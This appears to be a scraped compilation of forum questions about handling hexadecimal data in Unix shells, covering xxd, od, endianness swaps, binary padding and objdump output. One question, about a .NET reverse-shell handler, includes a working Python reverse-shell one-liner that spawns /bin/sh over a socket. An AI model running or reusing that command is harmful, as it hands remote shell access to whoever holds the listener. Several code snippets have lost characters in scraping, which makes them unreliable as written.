This is the sample.txt Greek in UTF8: ανθρώπους. Από ανθρώπους. Από When I run the command below I get the hex output but not the corresponding characters in the right column but instead I see ......... $ xxd -l 120 -c 12 sample.txt 00000000: ceb1 cebd ceb8 cf81 cf8e cf80 ............ 0000000c: cebf cf85 cf82 2e0a ce91 cf80 ............ 00000018: cf8c 0ace b1ce bdce b8cf 81cf ............ 00000024: 8ecf 80ce bfcf 85cf 822e 0ace ............ 00000030: 91cf 80cf 8c0a I m looking for a way to show the actual characters as well.

You need to add 64 bytes ff to the hex, every 2048 bytes. It should be like this: The beginning of the file is the zero offset and after 2048 bytes add (starting from offset 2048) 64 bytes ff , then again 2048 (the offset will already be 4160) 64 bytes ff and so on to the end. I tried in bbe (Binary Block Editor) approximately:

bbe -b 2048:64 -e 'A \xaa' file > modified_file

but I can't set the correct syntax.

Using Solaris 10 ipsec the key must be converted in hex format. So I need a command to convert text in hex. This line works fine echo "mypassword" | od -t x1|head -1|tr -d ' ' |tr [a-z] [A-Z] Produce 00000006D7970617373776F72640A Anyway using an online converter it return this 6D7970617373776F72640A As a workaround I use this echo "mypassword" | od -t x1|head -1|tr -d ' ' |cut -c 8-1000|tr [a-z] [A-Z] it return 6D7970617373776F72640A The question is..why od return those 00000000?

I have a Bash script that appends bytes written as hexadecimal values. I use echo to write the bytes and it works hex="1F" byte="\x$hex" echo -en $byte >> "output.bin" At some point I need to pad the file with a byte that could be anything from 00 to FF. I want to specify the byte as a hex value and the total of repetitions. I tried doing this with a for loop but it just takes too long, especially since I need to add something like 65535 bytes sometimes. byte="00" total=65515 for (( i=1; i> "output.bin" done I am looking for a more performant way that does not use a for loop. At the moment I am stuck with something between printf and echo but instead of writing the values as binary it writes them as text result=$(eval printf "\x$byte%0.s" {1..$total}) echo -en $result >> "output.bin" The result in the output file is 78 30 30, which is the "x00" text, instead of 00. If I directly use echo -en "\x00" >> "output.bin", it does write one byte holding the 00 value and not the text "x00". This is where I don't know how to proceed in order to make it write the actual binary value

I've got a series of pipe commands that gets me a memory dump represented as a string of hexadecimal. This memory dump includes some ascii text that I want to read. The endianness of the memory dump means that whenever I pipe it to xxd -p -r, I get groups of 4 characters that occur sequentially, but where the characters within each group occur in reverse order. I'm looking for `` that would undo that order. For example, `` would do:

$ echo "lleHoW o!dlr" | 
Hello World!

or

$ echo "43218765" | 
12345678

This may end up being a confusing question if you don't understand reverse shells but the tldr; is I'm trying to write a shell multihandler in .NET Core. I have it handling bash, cmd, and powershell, shells just fine. However, when I try and handle a bourne shell, it connects just fine, but the shell seems to hang when I send it commands. I believe the issue is not properly terminating the command with the right hex Just for the POC this code splits out the Bourne Shell

if (ShellOsType == OsType.Linux && Prompt.Trim() == "$")
{
    writer.Write(command + "\n");
}
else
    writer.WriteLine(command); //if I use WriteLine for the bourne shell, the shell throws an error : not found
}

and the reverse shell is this command

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",13443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

When I test this with netcat it works exactly how you'd expect. So the issue must be something to do with my .NET Core app and how it's handling it. When I send a command whoami\n I'm expecting 2 lines in return myusername $ but I'm only getting one line in response myusername And if I go to where I created my reverse shell and hit CTRL+C it doesn't kill my shell but it does force it to send the second line to my handler. **What have I tried?** I've tried opening an ascii hex table and using everything up to the letters both before and after the \n in case I was missing something and nothing works but it does make it worse in some cases

I want to update the hexfile start address with offset. For example, i have a hex file name **abc.hex** and start with address 0x0000 to 0xFFFF. But I want to shift the context in the hexfile to the address 0x1FFFF. How Can we do this in linux with tool like hexdump or xxd?

I would like to match a hexadecimal address of fixed length using a regex pattern in sed. For example: 0x000000010b2e993c 0x is always present followed by the sixteen-character hexadecimal number. This is successful: 's/0x[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]//' Is there a shorthand way to match whereby I can use 0x then [0-9a-f] occurring sixteen times?

result of cat /proc/net/route:

Iface   Destination     Gateway         Flags   RefCnt  Use     Metric  Mask            MTU     Window  IRTT                                                       
wlo1    00000000        0100A8C0        0003    0       0       600     00000000        0       0       0                                                                             
wlo1    0000A8C0        00000000        0001    0       0       600     00FFFFFF        0       0       0

result of route:

IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    600    0        0 wlo1
192.168.0.0     0.0.0.0         255.255.255.0   U     600    0        0 wlo1

I am sensing that some kind of hex codes are being used, but I am still not able to understand how 0100A8C0 translates to _gateway (same for the rest).

Say for example I've got this C function: void f(int *x, int *y) { (*x) = (*x) * (*y); } When saved to f.c, compiling with gcc -c f.c produces f.o. objdump -d f.o gives this:

f.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 :
   0:   55                      push   %rbp
   1:   48 89 e5                mov    %rsp,%rbp
   4:   48 89 7d f8             mov    %rdi,-0x8(%rbp)
   8:   48 89 75 f0             mov    %rsi,-0x10(%rbp)
   c:   48 8b 45 f8             mov    -0x8(%rbp),%rax
  10:   8b 10                   mov    (%rax),%edx
  12:   48 8b 45 f0             mov    -0x10(%rbp),%rax
  16:   8b 00                   mov    (%rax),%eax
  18:   0f af d0                imul   %eax,%edx
  1b:   48 8b 45 f8             mov    -0x8(%rbp),%rax
  1f:   89 10                   mov    %edx,(%rax)
  21:   5d                      pop    %rbp
  22:   c3                      retq  

I'd like it to output something more like this: 55 48 89 e5 48 89 7d f8 48 89 75 f0 48 8b 45 f8 8b 10 48 8b 45 f0 8b 00 0f af d0 48 8b 45 f8 89 10 5d c3 I.e., just the hexadecimal values of the function. Is there some objdump flag to do this? Otherwise, what tools can I use (e.g. awk, sed, cut, etc) to get this desired output?

I have the following log messages from auditd. They appear to log calls to socket.

type=SYSCALL msg=audit(05/11/2023 23:19:52.913:2533) : 
arch=x86_64 syscall=socket success=yes exit=9 
a0=inet a1=SOCK_DGRAM a2=ip a3=0x7f1b009852d0 
items=0 ppid=1484 pid=13953 
auid=gwill uid=gwill gid=gwill euid=gwill suid=gwill fsuid=gwill egid=gwill sgid=gwill fsgid=gwill 
tty=(none) ses=3 comm=pool 
exe=/usr/libexec/gvfsd-smb-browse subj=user_u:user_r:user_t:s0 key=SOCKET

What does the hex value a3=0x7f1b009852d0 mean?

Is there a way to search for a hex value in files / folders? I've tried the following: grep -P "[\x01\x02\x03]" but that doesn't work (there is no error, but it doesn't search for these hex values).

Working in Bash I have a hex variable that I must convert from little endian to big endian I am new to the entire concept of this and only learned about this about 20 minutes ago, so please bare with me. My script determines a hex variable that undergoes a few changes: decimal, signed 2's complement, and division by 8. Before everything though it must go through little endian to big endian conversion (I may be confusing the two but my example below should clarify) EXAMPLE: 1. Hex Value: 0080 After Conversion: 8000 2. Hex Value: 9800 After Conversion: 0098 3. Hex Value: 1234 After Conversion: 3412 I believe that this is a 16 bit hex variable as it is always 4 digits.

**SHORT VERSION (TL;DR)** I have 2 small one-line files, ***seemingly*** identical : $ cat f1 f2 ./cconv.sh 100 EUR USD ./cconv.sh 100 EUR USD But they are not, there is a 1 byte difference in size : $ ls -l f1 f2 (...) 24 oct. 30 16:19 f1 (...) 23 oct. 30 16:19 f2 $ diff f1 f2 1c1 ./cconv.sh 100 EUR USD I used dhex to figure out the hexadecimal difference. It appears that : - f1 finishes with c2 a0 55 53 44 0a - f2 finishes with 20 55 53 44 0a Does anybody have a clue what's going on here ? What's the difference, and more importantly, where could it come from ? Here is a link to a zip file containing the 2 files, and a screenshot of the dhex result. **LONG VERSION (ADDITIONAL EXPLANATIONS)** The 2 files are excerpts from my ~/.bash_history file. I noticed a very strange behavior from my shells. Take the following very basic script : #!/bin/sh echo $# echo "$1" echo "$2" echo "$3" exit 0 Under certain circumstance (but which ones ???), it doesn't take the space as an argument separator : $ ./cconv.sh 100 EUR USD 2 100 EUR USD But sometimes it works just as it is supposed to : $ ./cconv.sh 100 EUR USD 3 100 EUR USD It drives me nuts ! I spent several hours trying to figure out what's going on. Here are some tests I did to try and narrow it down : - I work on a laptop with Debian 11, Gnome 3.38. But I happen to also have a virtual machine with exactly the same OS (D11, G3.38), and in the VM everything works just fine. So obviously I must have done something to my bare metal laptop for it to misbehave. But what ??? - I noticed that the problem only occurs in a graphical session. If I open a tty (Ctrl+Alt+F*n*), it works fine - I suspected my terminal emulator. But the behavior is the same in different emulators (I tried Gnome Terminal, Terminator and Konsole, same result) - I suspected the shell. But the behavior is the same either with Bash or Dash - I disabled all customization I could think of : - I temporarily removed /etc/bashrc, /etc/profile, /etc/inputrc and /etc/rc.local - I temporarily removed ~/.bashrc, ~/.profile and ~/.inputrc - I disabled all Gnome Shell's extensions - I even suspected the keyboard, and plugged in a USB keyboard. Same result. I'm really confused, and have not a clue what's going on. I finally noticed that small difference between the 2 commands in ~/.bash_history : one comes from my Gnome session, the other comes from my tty session. Obviously there's a difference, but what is it exactly, and what could be the cause ?

I am dealing with an embedded system which has some memory that is accessible by a file descriptor (I have no idea what am I saying, so please correct me if I am wrong). This memory is 32 kB and I want to fill it with 0x00 to 0xFFFFFFFF. I know this for text files: exec {fh} >> ./eeprom; for i in {0..32767}; do echo $i >& $fh; done; $fh>&-; This will write ASCII characters 0 to 977. And if I do a hexdump eeprop | head I get: 0000000 0a30 0a31 0a32 0a33 0a34 0a35 0a36 0a37 0000010 0a38 0a39 3031 310a 0a31 3231 310a 0a33 0000020 3431 310a 0a35 3631 310a 0a37 3831 310a 0000030 0a39 3032 320a 0a31 3232 320a 0a33 3432 0000040 320a 0a35 3632 320a 0a37 3832 320a 0a39 0000050 3033 330a 0a31 3233 330a 0a33 3433 330a 0000060 0a35 3633 330a 0a37 3833 330a 0a39 3034 0000070 340a 0a31 3234 340a 0a33 3434 340a 0a35 0000080 3634 340a 0a37 3834 340a 0a39 3035 350a 0000090 0a31 3235 350a 0a33 3435 350a 0a35 3635 How can I fill each address with its uint32, not the ASCII representation?

I'm working with a paired down embedded Linux installation that does not support bash, only sh across a ssh terminal. I need to send hex data to a connected USB device /dev/ttyUSB0. I'm able to do this easily enough with bash (on a desktop installation of Ubuntu 18.04) using echo -en '\x01\x02\x03' > /dev/ttyUSB0, but it seems that the backslash escapes are not supported by sh. Is there another relatively easy (or even not-so-easy) way to do this with sh? Unfortunately, $SHELL --version is not returning anything. Kernel version is 4.1.0.

I have many photos that were recovered a long time ago, at the time I recovered them and everything looked fine, the thumbnails produced looked good. However now, 16 years later. I see that the images are cut off in places and sometimes have incorrect contrast in places. I am wondering, as I have images that are still "good" if its possible to copy over some of the hex values from the good images onto the broken one? Broken Image Good Image

I am looking at the colour codes Have seen the 88 colour, any idea what bit length is used for 88 colours? 3-Bit (2^3) | 8 | 8 (Primary) (000 to 111) 4-Bit (2^4) | 16 | 16 (Basic) (0000 to 1111) | 88 | 16 (Basic) + 4×4×4 (Cube) + 8 (Grey) 8-Bit (2^8) | 256 | 16 (Basic) + 6×6×6 (Cube) + 24 (Grey) 24-Bit (2^24) | RGB-Code has 24-Bit Format (Bits 0 to 23) 16,777,216 | 8 Bits Per Colour Channel (2^8=256) | Red[7:0]Grn[7:0]Blu[7:0] (256^3) | Hex FF is 255 (256 = 16*16)

Is it possible to Modify and Replace $1 (awk) or \1 (sed) Values from Decimal to Hexadecimal Globally in a String? It is possible that the string may contain any decimal value, which needs to be modified and replaced with its hexadecimal equivalent. awk example: echo "/Test-Test-Test-Test-Test/Test/Test/" | awk '{gsub("&#([0-9]+);", $1, $0); print}' sed example: echo "/Test-Test-Test-Test-Test/Test/Test/" | sed -E 's/&#([0-9]+);/$(printf "%X" \1)/g;' echo "/Test-Test-Test-Test-Test/Test/Test/" | sed -E 's/&#([0-9]+);/$(echo "obase=16; \1" | bc)/g;' I've attempted to subexec and pipe with printf "%X" and bc, but have been unable to combine the two for the resulting decimal to hexadecimal modification and replacement. expected output: %2FTest%2DTest%2DTest%2DTest%2DTest%2FTest%2FTest%2F Your assistance is greatly appreciated.

Is there a simple command to reverse an hexadecimal number? For example, given the hexadecimal number: 030201 The output should be: 010203 Using the rev command, I get the following: 102030 **Update** $ bash --version | head -n1 GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu) $ xxd -version xxd V1.10 27oct98 by Juergen Weigert $ rev --version rev from util-linux 2.20.1